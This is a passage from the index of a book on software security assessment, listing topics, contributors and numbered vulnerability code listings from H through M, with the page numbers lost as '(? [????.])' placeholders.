Software Vulnerabilities 1173 heap hardening(? [????.]) heap overflows, buffer overflows(? [????.]) heap protection, operational vulnerabilities, preventing(? [????.]) Henriksen, Inge(? [????.]) HERT (Hacker Emergency Response Team)(? [????.]) Hex-encoded Pathname Vulnerability listing (8-27)(? [????.]) hexadecimal encoding, pathnames, vunerabilities(? [????.]) hidden fields, auditing(? [????.]) high-level attack vectors, OpenSSH, code auditing(? [????.]) HKEY_CLASSES_ROOT key(? [????.]) HMAC (hash-based message authentication code)(? [????.]) Hoglund, Greg(? [????.]) /home directory (UNIX)(? [????.]) home directories, UNIX users(? [????.]) HOME environment variable (UNIX)(? [????.]) homographic attacks(? [????.]) Unicode(? [????.]) Host header field (HTTP)(? [????.]) host-based firewalls(? [????.]) host-based IDSs (intrusion detection systems)(? [????.]) host-based IPSs (intrusion prevention systems)(? [????.]) host-based measures, operational vulnerabilities(? [????.]) antimnalware applications(? [????.]) change monitoring(? [????.]) choot jails(? [????.]) enhanced kernel protections(? [????.]) file system persmissions(? [????.]) host-based firewalls(? [????.]) host-based IDSs (intrusion detection systems)(? [????.]) host-based IPSs (intrusion prevention systems)(? [????.]) object system persmissions(? [????.]) restricted accounts(? [????.]) system virtualization(? [????.]) How to Survive a Robot Uprising(? [????.]) Howard, Michael(? [????.]) 2nd(? [????.]) 3rd(? [????.]) HPUX(? [????.]) HTML (Hypertext Markup Language)(? [????.]) encoding(? [????.]) HTTP (Hypertext Transport Protocol)(? [????.]) 2nd(? [????.]) 3rd(? [????.]) authentication(? [????.]) 2nd(? [????.]) cookies(? [????.]) embedded path information(? [????.]) forms(? [????.]) headers(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1174 fields(? [????.]) parsing(? [????.]) methods(? [????.]) CONNECT(? [????.]) DELETE(? [????.]) GET(? [????.]) 2nd(? [????.]) OPTIONS(? [????.]) parameter encoding(? [????.]) POST(? [????.]) PUT(? [????.]) SPACEJUMP(? [????.]) TEXTSEARCH(? [????.]) TRACE(? [????.]) WebDAV (Web Distributed Authoring and Versioning) methods(? [????.]) overview of(? [????.]) posting data(? [????.]) query strings(? [????.]) requests(? [????.]) 2nd(? [????.]) resource access(? [????.]) responses(? [????.]) sessions(? [????.]) 2nd(? [????.]) security vulnerabilities(? [????.]) session management(? [????.]) session tokens(? [????.]) state maintenance(? [????.]) client IP addresses(? [????.]) cookies(? [????.]) embedding state in HTML and URLs(? [????.]) HTTP authentication(? [????.]) 2nd(? [????.]) Referer request headers(? [????.]) sessions(? [????.]) 2nd(? [????.]) 3rd(? [????.]) utility functions(? [????.]) versions(? [????.]) HTTP request methods(? [????.]) hybrid approach, application review(? [????.]) Hypertext Markup Language (HTML) [See HTML (Hypertext Markup Language)(? [????.]).] Hypertext Transfer Protocol (HTTP) [See HTTP (Hypertext Transport Protocol)(? [????.]).] hypothesis testing, DG (design generalization) strategy(? [????.]) 10.10 I Index The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1175 [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] IDA Pro binary navigation tool(? [????.]) IDC (Internet Database Connection)(? [????.]) identification payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) idioms, UNIX privileges, misuse of(? [????.]) IDL files, RPCs (Remote Procedure Calls)(? [????.]) IDs, files, UNIX(? [????.]) IDSs (intrusion detection systems)(? [????.]) host-based IDSs (intrusion detection systems)(? [????.]) If Header Processing Vulnerability in Apache's mod_dav Module listing (8-6)(? [????.]) If-Match header field (HTTP)(? [????.]) If-Modified-Since header field (HTTP)(? [????.]) If-None-Match header field (HTTP)(? [????.]) If-Range header field (HTTP)(? [????.]) If-Unmodified-Since header field (HTTP)(? [????.]) Ignoring realloc( ) Return Value listing (7-25)(? [????.]) Ignoring Return Values listing (7-28)(? [????.]) ImpersonateNamedPipe( ) function(? [????.]) impersonation(? [????.]) DCOM (Distributed Component Object Model)(? [????.]) IPC (interprocess communications)(? [????.]) levels(? [????.]) SelimpersonatePrivilege(? [????.]) RPCs (Remote Procedure Calls)(? [????.]) Windows NT sessions, access tokens(? [????.]) implementation SDLC (Systems Development Life Cycle)(? [????.]) vunerabilities(? [????.]) implementation analysis, OpenSSH, code auditing(? [????.]) implementation defined behavior, C programming language(? [????.]) implicit type conversions(? [????.]) import function tables(? [????.]) imports, Windows binary layout(? [????.]) in-band representation, metadata(? [????.]) in-house software audits(? [????.]) .inc files ASP(? [????.]) PHP(? [????.]) include( ) method, Java servlets(? [????.]) Incorrect Temporary Privilege Relinquishment in FreeBSD Inetd listing (9-2)(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1176 independent research(? [????.]) indexed queries(? [????.]) 2nd(? [????.]) Indirect Memory Corruption listing (5-5)(? [????.]) indirect program invocation, UNIX(? [????.]) information collection application review(? [????.]) threat modeling(? [????.]) inheritance ACLs (access control lists), Windows NT(? [????.]) Windows NT object handles(? [????.]) initgroups( ) function(? [????.]) initialization vector (IV)(? [????.]) initialization, variables, auditing(? [????.]) initialize_ipc( ) function(? [????.]) initJobThreads( ) function(? [????.]) inline evaluation ASP(? [????.]) ASP.NET(? [????.]) Java servlets(? [????.]) Perl(? [????.]) PHP(? [????.]) inodes (information nodes), UNIX files(? [????.]) input extraneous input thinning(? [????.]) malicious input, tracing(? [????.]) treating as hostile(? [????.]) vulnerabilities(? [????.]) input_userauth_info_response( ) function(? [????.]) insecure defaults(? [????.]) insufficient validation, authentication(? [????.]) integer conversion rank(? [????.]) integer overflow(? [????.]) Integer Overflow Example listing (6-2)(? [????.]) Integer Overflow with 0Byte Allocation Check listing (7-37)(? [????.]) Integer Sign Boundary Vulnerability Example in OpenSSL 0.9.6l listing (6-6)(? [????.]) integer types, C programming language(? [????.]) integer underflow(? [????.]) 2nd(? [????.]) integers promotions(? [????.]) signed integers boundaries(? [????.]) vunerabilities(? [????.]) type conversions(? [????.]) narrowing(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1177 sign extensions(? [????.]) value preservation(? [????.]) widening(? [????.]) unsigned integers boundaries(? [????.]) 2nd(? [????.]) numeric overflow(? [????.]) numeric underflow(? [????.]) vunerabilities(? [????.]) integration, SDLC (Systems Development Life Cycle)(? [????.]) integrity(? [????.]) auditing, importance of(? [????.]) 2nd(? [????.]) common vunerabilities(? [????.]) cryptographic signatures(? [????.]) expectations of(? [????.]) hash functions(? [????.]) originator validation(? [????.]) salt values(? [????.]) Intel architectures carry flags (CFs)(? [????.]) multiplication overflows(? [????.]) 2nd(? [????.]) interface proxies, COM (Component Object Model)(? [????.]) interfaces COM (Component Object Model) applications(? [????.]) auditing(? [????.]) network interfaces(? [????.]) RPC servers, registering(? [????.]) vulnerabilities(? [????.]) internal flow analysis, code auditing(? [????.]) internal trusted sources, spoofing attacks, firewalls(? [????.]) Internet Database Connection (IDC)(? [????.]) Internet Server Application Programming Interface (ISAPI)(? [????.]) interprocess communication, UNIX(? [????.]) interprocess communications (IPC) [See IPC (interprocess communications), Windows NT(? [????.]).] interprocess synchronization, vulnerabilities(? [????.]) interruptions, signals(? [????.]) 2nd(? [????.]) interviewing developers(? [????.]) intrusion prevention systems (IPSs) [See IPSs (intrusion prevention systems)(? [????.]).] INVALID_HANDLE_VALUE, NULL, compared(? [????.]) invocation DCOM objects(? [????.]) UNIX programs(? [????.]) direct invocation(? [????.]) indirect invocation(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1178 IP (Internet Protocol)(? [????.]) addresses(? [????.]) maintaining state with(? [????.]) addressing(? [????.]) checksum(? [????.]) fragmentation(? [????.]) overlapping fragments(? [????.]) pathological fragment sets(? [????.]) processing(? [????.]) header validation(? [????.]) IP packets(? [????.]) options(? [????.]) source routing(? [????.]) subnet(? [????.]) IPC (interprocess communications), Windows NT(? [????.]) COM (Component Object Model)(? [????.]) DDE (Dynamic Data Exchange)(? [????.]) desktop object(? [????.]) impersonation(? [????.]) mailslots(? [????.]) messaging(? [????.]) pipes(? [????.]) redirector(? [????.]) RPCs (Remote Procedure Calls)(? [????.]) security(? [????.]) shatter attacks(? [????.]) window station(? [????.]) WTS (Windows Terminal Services)(? [????.]) IPSs (intrusion prevention systems)(? [????.]) host-based IPSs (intrusion prevention systems)(? [????.]) IRIX(? [????.]) ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) encryption vunerabilities(? [????.]) headers(? [????.]) payloads(? [????.]) certificate payloads(? [????.]) certificate request payloads(? [????.]) delete payloads(? [????.]) hash payloads(? [????.]) identification payloads(? [????.]) key exchange payloads(? [????.]) 2nd(? [????.]) nonce payloads(? [????.]) notification payloads(? [????.]) proposal payloads(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1179 SA (security association) payloads(? [????.]) signature payloads(? [????.]) transform payloads(? [????.]) vendor ID payloads(? [????.]) ISAPI (Internet Server Application Programming Interface)(? [????.]) ISAPI filters(? [????.]) IsDBCSLeadByte( ) function(? [????.]) iterative process, application review(? [????.]) 10.11 J Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] Jaa, Tony(? [????.]) Java Database Connectivity (JDBC)(? [????.]) Java servlets(? [????.]) 2nd(? [????.]) configuration settings(? [????.]) cross-site scripting(? [????.]) file access(? [????.]) file inclusion(? [????.]) inline evaluation(? [????.]) JSP file inclusion(? [????.]) shell invocation(? [????.]) SQL injection queries(? [????.]) threading(? [????.]) Web server APIs versus(? [????.]) Java Virtual Machine (JVM)(? [????.]) JavaScript Object Notation (JSON)(? [????.]) JavaServer Pages (JSP)(? [????.]) 2nd(? [????.]) file inclusion(? [????.]) JDBC (Java Database Connectivity)(? [????.]) Johanson, Eric(? [????.]) Johnson, Nick(? [????.]) JSON (JavaScript Object Notation)(? [????.]) JSP (JavaServer Pages)(? [????.]) 2nd(? [????.]) file inclusion(? [????.]) jump locations, signals(? [????.]) junction points, Windows NT files(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1180 arbitrary file accesses(? [????.]) race conditions(? [????.]) TOCTTOU (time of check to time of use)(? [????.]) JVM (Java Virtual Machine)(? [????.]) 10.12 K Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] kernel Linux, probing(? [????.]) UNIX(? [????.]) kernel files, UNIX(? [????.]) Kernel Object Manager (KOM)(? [????.]) Kernel Probe Vulnerability in Linux 2.2 listing (10-1)(? [????.]) key exchange payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) 2nd(? [????.]) keys, Windows NT registry key squatting(? [????.]) permissions(? [????.]) predefined keys(? [????.]) kill bit, Active X controls(? [????.]) kill( ) function(? [????.]) Kirch, Olaf(? [????.]) Klima, Vlastimil(? [????.]) KOM (Kernel Object Manager)(? [????.]) Koziol, Jack(? [????.]) Krahmer, Sebastian(? [????.]) 2nd(? [????.]) Kuhn, Juan Pablo Martinez(? [????.]) 10.13 L Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1181 [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] Lai, Xuejia(? [????.]) languages (programming), C(? [????.]) arithmetic boundary conditions(? [????.]) binary encoding(? [????.]) bit fields(? [????.]) bitwise shift operators(? [????.]) byte order(? [????.]) character types(? [????.]) data storage(? [????.]) floating types(? [????.]) function invocations(? [????.]) implementation defined behavior(? [????.]) integer types(? [????.]) macros(? [????.]) objects(? [????.]) operators(? [????.]) order of evaluation(? [????.]) pointers(? [????.]) precedence(? [????.]) preprocessor(? [????.]) signed integer boundaries(? [????.]) standards(? [????.]) structure padding(? [????.]) switch statements(? [????.]) type conversion vunerabilities(? [????.]) type conversions(? [????.]) types(? [????.]) typos(? [????.]) unary + operator(? [????.]) unary operator(? [????.]) unary operator(? [????.]) undefined behavior(? [????.]) unsigned integer boundaries(? [????.]) 2nd(? [????.]) Last Stage of Delirium (LSD)(? [????.]) Last-Modified header field (HTTP)(? [????.]) layer 1 (physical), network segmentation(? [????.]) layer 2 (data link), network segmentation(? [????.]) layer 3 (network), network segmentation(? [????.]) layer 4 (transport), network segmentation(? [????.]) layer 5 (session), network segmentation(? [????.]) layer 6 (presentation), network segmentation(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1182 layer 7 (application) enterprise firewalls(? [????.]) network segmentation(? [????.]) layering, stateful inspection firewalls(? [????.]) layers multiple encoding layers(? [????.]) network segmentation(? [????.]) LD_LIBRARY_PATH environment variable (UNIX)(? [????.]) LD_PRELOAD environment variable (UNIX)(? [????.]) Le Blanc, David(? [????.]) leaks, file descriptors, UNIX(? [????.]) Leblanc, David(? [????.]) 2nd(? [????.]) 3rd(? [????.]) Lebras, Gregory(? [????.]) Leidl, Bruce(? [????.]) length calculations, multiple calculations on same input(? [????.]) Length Miscalculation Example for Constructing an ACC log listing (7-33)(? [????.]) length variables, DNS (Domain Name System)(? [????.]) 2nd(? [????.]) 3rd(? [????.]) Lenstra, Arjen(? [????.]) levels, impersonation, IPC (interprocess communications(? [????.]) libraries(? [????.]) UNIX(? [????.]) Lincoln, Abraham(? [????.]) linked lists auditing(? [????.]) circular linked lists(? [????.]) doubly linked lists(? [????.]) singly linked lists(? [????.]) linking objects, vunerabilities(? [????.]) links UNIX files(? [????.]) hard links(? [????.]) 2nd(? [????.]) soft links(? [????.]) Windows NT files(? [????.]) hard links(? [????.]) junction points(? [????.]) Linux(? [????.]) capabilities(? [????.]) do_mremap( ) function, vunerabilities(? [????.]) environment strings(? [????.]) file system IDs(? [????.]) kernel probes, vunerabilities(? [????.]) teardrop vunerability(? [????.]) Linux do_mremap( ) Vulnerability listing (7-26)(? [????.]) Linux Teardrop Vulnerability listing (7-14)(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1183 List Pointer Update Error listing (7-13)(? [????.]) list_add( ) function(? [????.]) list_init( ) function(? [????.]) listings 10-1 (Kernel Probe Vulnerability in Linux 2.2)(? [????.]) 10-2 (Setenv( ) Vulnerabilty in BSD)(? [????.]) 10-3 (Misuse of putenv( ) in Solaris Telnetd)(? [????.]) 13-1 (Signal Interruption)(? [????.]) 13-2 (Signal Race Vulnerability in WU-FTPD)(? [????.]) 13-3 (Race Condition in the Linux Kernel's Uselib( ))(? [????.]) 16-1 (Name Validation Denial of Service)(? [????.]) 16-2 (Certificate Payload Integer Underflow in CheckPoint ISAKMP)(? [????.]) 5-1 (Function Prologue)(? [????.]) 5-2 (Off-by-One Length Miscalculation)(? [????.]) 5-3 (Off-by-One Length Miscalculation)(? [????.]) 5-4 (Overflowing into Local Variables)(? [????.]) 5-5 (Indirect Memory Corruption)(? [????.]) 5-6 (Off-by-One Overwrite)(? [????.]) 6-1 (Twos Complement Representation of -15)(? [????.]) 6-10 (Antisniff v1.1.1 Vulnerability)(? [????.]) 6-11 (Antisniff v1.1.2 Vulnerability)(? [????.]) 6-12 (Sign Extension Vulnerability Example)(? [????.]) 6-13 (Prescan Sign Extension Vulnerability in Sendmail)(? [????.]) 6-14 (Sign-Extension Example)(? [????.]) 6-15 (Zero-Extension Example)(? [????.]) 6-16 (Truncation Vulnerability Example in NFS)(? [????.]) 6-17 (Truncation Vulnerabilty Example)(? [????.]) 6-18 (Detect_attack Small Packet Algorithm in SSH)(? [????.]) 6-19 (Detect_attack Truncation Vulnerability in SSH)(? [????.]) 6-2 (Integer Overflow Example)(? [????.]) 6-20 (Comparison Vulnerability Example)(? [????.]) 6-21 (Signed Comparison Vulnerability)(? [????.]) 6-22 (Unsigned Comparison Vulnerability)(? [????.]) 6-23 (Signed Comparison Example in PHP)(? [????.]) 6-24 (Sizeof Misuse Vulnerability Example)(? [????.]) 6-25 (Sign-Preserving Right Shift)(? [????.]) 6-26 (Right Shift Vulnerability Example)(? [????.]) 6-27 (Division Vulnerability Example)(? [????.]) 6-28 (Modulus Vulnerability Example)(? [????.]) 6-29 (Pointer Arithmetic Vulnerability Example)(? [????.]) 6-3 (Challenge-Response Integer Overflow Example in OpenSSH 3.1)(? [????.]) 6-30 (Order of Evaluation Logic Vulnerability)(? [????.]) 6-31 (Order of Evaluation Macro Vulnerability)(? [????.]) 6-32 (Structure Padding in a Network Protocol)(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1184 6-33 (Example of Structure Padding Double Free)(? [????.]) 6-34 (Example of Bad Counting with Structure Padding)(? [????.]) 6-4 (Unsigned Integer Underflow Example)(? [????.]) 6-5 (Signed Integer Vulnerability Example)(? [????.]) 6-6 (Integer Sign Boundary Vulnerability Example in OpenSSL 0.9.6l)(? [????.]) 6-7 (Signed Comparison Vulnerability Example)(? [????.]) 6-8 (Antisniff v1.0 Vulnerability)(? [????.]) 6-9 (Antisniff v1.1 Vulnerability)(? [????.]) 7-1 (Apache mod_dav CDATA Parsing Vulnerability)(? [????.]) 7-10 (Arithmetic Vulnerability Example in the Parent Function)(? [????.]) 7-11 (Type Confusion)(? [????.]) 7-12 (Empty List Vulnerabilities)(? [????.]) 7-13 (List Pointer Update Error)(? [????.]) 7-14 (Linux Teardrop Vulnerability)(? [????.]) 7-15 (Simple Nonterminating Buffer Overflow Loop)(? [????.]) 7-16 (MS-RPC DCOM Buffer Overflow Listing)(? [????.]) 7-17 (NTPD Buffer Overflow Example)(? [????.]) 7-18 (Apache mod_php Nonterminating Buffer Vulnerability)(? [????.]) 7-19 (Apache 1.3.29/2.X mod_rewrite Off-by-one Vulnerability)(? [????.]) 7-2 (Bind 9.2.1 Resolver Code gethostans( ) Vulnerability)(? [????.]) 7-20 (OpenBSD ftp Off-by-one Vulnerability)(? [????.]) 7-21 (Postincrement Loop Vulnerability)(? [????.]) 7-22 (Pretest Loop Vulnerability)(? [????.]) 7-23 (Break Statement Omission Vulnerability)(? [????.]) 7-24 (Default Switch Case Omission Vulnerability)(? [????.]) 7-25 (Ignoring realloc( ) Return Value)(? [????.]) 7-26 (Linux do_mremap( ) Vulnerability)(? [????.]) 7-27 (Finding Return Values)(? [????.]) 7-28 (Ignoring Return Values)(? [????.]) 7-29 (Unexpected Return Values)(? [????.]) 7-3 (Sendmail crackaddr( ) Related Variables Vulnerability)(? [????.]) 7-30 (Outdated Pointer Vulnerability)(? [????.]) 7-31 (Outdated Pointer Use in ProFTPD)(? [????.]) 7-32 (Sendmail Return Value Update Vulnerability)(? [????.]) 7-33 (Length Miscalculation Example for Constructing an ACC log)(? [????.]) 7-34 (Buffer Overflow in NSS Library's ssl2_HandleClientHelloMessage)(? [????.]) 7-35 (Out-of-Order Statements)(? [????.]) 7-36 (Netscape NSS Library UCS2 Length Miscalculation)(? [????.]) 7-37 (Integer Overflow with 0-Byte Allocation Check)(? [????.]) 7-38 (Allocator-Rounding Vulnerability)(? [????.]) 7-39 (Allocator with Header Data Structure)(? [????.]) 7-4 (OpenSSH Buffer Corruption Vulnerability)(? [????.]) 7-40 (Reallocation Integer Overflow)(? [????.]) 7-41 (Dangerous Data Type Use)(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1185 7-42 (Problems with 64-bit Systems)(? [????.]) 7-43 (Maximum Limit on Memory Allocation)(? [????.]) 7-44 (Maximum Memory Allocation Limit Vulnerability)(? [????.]) 7-45 (Double-Free Vulnerability)(? [????.]) 7-46 (Double-Free Vulnerability in OpenSSL)(? [????.]) 7-47 (Reallocation Double-Free Vulnerability)(? [????.]) 7-5 (OpenSSL BUF_MEM_grow( ) Signed Variable Desynchronization)(? [????.]) 7-6 (Uninitialized Variable Usage)(? [????.]) 7-7 (Uninitialized Memory Buffer)(? [????.]) 7-8 (Uninitialized Object Attributes)(? [????.]) 7-9 (Arithmetic Vulnerability Example)(? [????.]) 8-1 (Different Behavior of vsnprintf( ) on Windows and UNIX)(? [????.]) 8-10 (NUL-Byte Injection with Memory Corruption)(? [????.]) 8-11 (Data Truncation Vulnerability)(? [????.]) 8-12 (Data Truncation Vulnerability 2)(? [????.]) 8-13 (Correct Use of GetFullPathName( ))(? [????.]) 8-14 (GetFullPathName( ) Call in Apache 2.2.0)(? [????.]) 8-15 (Directory Traversal Vulnerability)(? [????.]) 8-16 (Format String Vulnerability in WU-FTPD)(? [????.]) 8-17 (Format String Vulnerability in a Logging Routine)(? [????.]) 8-18 (Shell Metacharacter Injection Vulnerability)(? [????.]) 8-19 (Example of Dangerous Program Use)(? [????.]) 8-2 (Dangerous Use of strncpy( ))(? [????.]) 8-20 (SQL Injection Vulnerability)(? [????.]) 8-21 (SQL Truncation Vulnerability)(? [????.]) 8-22 (Character Black-List Filter)(? [????.]) 8-23 (Character White-List Filter)(? [????.]) 8-24 (Metacharacter Vulnerability in PCNFSD)(? [????.]) 8-25 (Vulnerability in Filtering a Character Sequence)(? [????.]) 8-26 (Vulnerability in Filtering a Character Sequence #2)(? [????.]) 8-27 (Hex-encoded Pathname Vulnerability)(? [????.]) 8-28 (Decoding Incorrect Byte Values)(? [????.]) 8-29 (Return Value Checking of MultiByteToWideChar( ))(? [????.]) 8-3 (Strcpy( )-like Loop)(? [????.]) 8-30 (Dangerous Use of IsDBCSLeadByte( ))(? [????.]) 8-31 (Code Page Mismatch Example)(? [????.]) 8-32 (NUL Bytes in Multibyte Code Pages)(? [????.]) 8-4 (Character Expansion Buffer Overflow)(? [????.]) 8-5 (Vulnerable Hex-Decoding Routine for URIs)(? [????.]) 8-6 (If Header Processing Vulnerability in Apache's mod_dav Module)(? [????.]) 8-7 (Text-Processing Error in Apache mod_mime)(? [????.]) 8-8 (Embedded Delimiter Example)(? [????.]) 8-9 (Multiple Embedded Delimiters)(? [????.]) 9-1 (Privilege Misuse in XFree86 SVGA Server)(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1186 9-2 (Incorrect Temporary Privilege Relinquishment in FreeBSD Inetd)(? [????.]) 9-3 (Race Condition in access( ) and open( ))(? [????.]) 9-4 (Race Condition from Kerberos 4 in lstat( ) and open( ))(? [????.]) 9-5 (Race Condition in open( ) and lstat( ))(? [????.]) 9-6 (Reopening a Temporary File)(? [????.]) lists auditing(? [????.]) 2nd(? [????.]) data ranges(? [????.]) 2nd(? [????.]) duplicate elements(? [????.]) empty lists, vunerabilities(? [????.]) linked lists(? [????.]) pointer updates, errors(? [????.]) little-endian architecture, bytes, ordering(? [????.]) loading DLLs(? [????.]) Processes, Windows NT(? [????.]) local namespaces, Windows NT(? [????.]) local privilege separation socket, OpenSSH(? [????.]) Location header field (HTTP)(? [????.]) lock matching, synchronization objects(? [????.]) LOCK method(? [????.]) log files, UNIX(? [????.]) logic business logic(? [????.]) presentation logic(? [????.]) login groups, UNIX(? [????.]) logon rights, Windows NT sessions(? [????.]) longjmp( ) function(? [????.]) looping constructs, auditing(? [????.]) loops data copy(? [????.]) posttest loops(? [????.]) pretest loops(? [????.]) terminating conditions(? [????.]) typos(? [????.]) loose coupling, software design(? [????.]) loosely coupled modules(? [????.]) Lopatic, Thomas(? [????.]) 2nd(? [????.]) 3rd(? [????.]) lreply( ) function(? [????.]) LSD (Last Stage of Delirium)(? [????.]) lstat( ) function(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1187 10.14 M Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] %m format specifier(? [????.]) 2nd(? [????.]) MAC (Media Address Control)(? [????.]) Macros, C programming language(? [????.]) magic_quotes option (PHP)(? [????.]) mail spools, UNIX(? [????.]) mailslot squatting(? [????.]) mailslots, Windows NT, IPC (interprocess communications)(? [????.]) Maimon, Uriel(? [????.]) maintaining state(? [????.]) client IP addresses(? [????.]) cookies(? [????.]) embedding state in HTML and URLs(? [????.]) HTTP authentication(? [????.]) 2nd(? [????.]) Referer request header(? [????.]) sessions(? [????.]) 2nd(? [????.]) security vulnerabilities(? [????.]) session management(? [????.]) session tokens(? [????.]) stateful versus stateless systems(? [????.]) maintenance, SDLC (Systems Development Life Cycle)(? [????.]) major components(? [????.]) make_table( ) function(? [????.]) malicious input, tracing(? [????.]) malloc( ) function(? [????.]) 2nd(? [????.]) man-in-the-middle attacks(? [????.]) management, sessions(? [????.]) mapping CLSIDs to applications(? [????.]) Max-Forwards header field (HTTP)(? [????.]) Maximum Limit on Memory Allocation listing (7-43)(? [????.]) Maximum Memory Allocation Limit Vulnerability listing (7-44)(? [????.]) McDonald, John(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 4th(? [????.]) McGraw, Gary(? [????.]) Media Address Control (MAC)(? [????.]) Mehta, Neel(? [????.]) 2nd(? [????.]) 3rd(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1188 memory blocks, shared memory blocks(? [????.]) memory buffers, unitialized memory buffers(? [????.]) memory corruption(? [????.]) assessing(? [????.]) buffer overflows(? [????.]) global overflows(? [????.]) heap overflows(? [????.]) off-by-one errors(? [????.]) process memory layout(? [????.]) SHE (structured exception handling) attacks(? [????.]) stack overflows(? [????.]) static overflows(? [????.]) protection mechanisms(? [????.]) ASLR (address space layout randomization)(? [????.]) function pointer obfuscation(? [????.]) heap hardening(? [????.]) nonexecutable stack(? [????.]) SafeSEH(? [????.]) stack cookies(? [????.]) shellcode(? [????.]) memory management, auditing(? [????.]) ACC (allocation-check-copy) logs(? [????.]) allocation functions(? [????.]) allocator scorecards(? [????.]) double-frees(? [????.]) error domains(? [????.]) memory pages, nonexecutable memory pages(? [????.]) memory, 0 bytes, allocating(? [????.]) memset( ) function(? [????.]) message queues(? [????.]) Message-Id header field (HTTP)(? [????.]) messaging, Windows NT, IPC (interprocess communications)(? [????.]) metacharacter evasion(? [????.]) Metacharacter Vulnerability in PCNFSD listing (8-24)(? [????.]) metacharacters(? [????.]) 2nd(? [????.]) embedded delimiters(? [????.]) filtering(? [????.]) character stripping vunerabilities(? [????.]) escaping metacharacters(? [????.]) insufficient filtering(? [????.]) metacharacter evasion(? [????.]) format strings(? [????.]) formats(? [????.]) NUL-byte injection(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1189 path metacharacters(? [????.]) file canonicalization(? [????.]) Windows registry(? [????.]) Perl open( ) function(? [????.]) shell metacharacters(? [????.]) SQL queries(? [????.]) truncation(? [????.]) UNIX programs, indirect invocation(? [????.]) metadata(? [????.]) methods CONNECT(? [????.]) COPY(? [????.]) DELETE(? [????.]) GET(? [????.]) 2nd(? [????.]) LOCK(? [????.]) MKCOL(? [????.]) MOVE(? [????.]) OPTIONS(? [????.]) POST(? [????.]) PROPFIND(? [????.]) PROPPATCH(? [????.]) PUT(? [????.]) SEARCH(? [????.]) SPACEJUMP(? [????.]) TEXTSEARCH(? [????.]) TRACE(? [????.]) UNLOCK(? [????.]) Microsoft Developer Network (MSDN)(? [????.]) Microsoft Windows Internals, 4th Edition(? [????.]) MIDL (Microsoft Interface Definition Language) DCOM (Distributed Component Object Model)(? [????.]) RPCs (Remote Procedure Calls)(? [????.]) misinpreterpeting return values(? [????.]) Misuse of putenv( ) in Solaris Telnetd listing (10-3)(? [????.]) mitigating factors, operational vunerabilities(? [????.]) mitigation, threats(? [????.]) MKCOL method(? [????.]) mkdtemp( ) function(? [????.]) mkstemp( ) function(? [????.]) mktemp( ) function(? [????.]) 2nd(? [????.]) Model component (MVC)(? [????.]) Model-View-Controller (MVC)(? [????.]) modular artihmetic(? [????.]) modules The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1190 analyzing, CC (code comprehension)(? [????.]) loosely coupled modules(? [????.]) strongly coupled modules(? [????.]) Modulus Vulnerability Example listing (6-28)(? [????.]) mount points, UNIX(? [????.]) MOVE method(? [????.]) 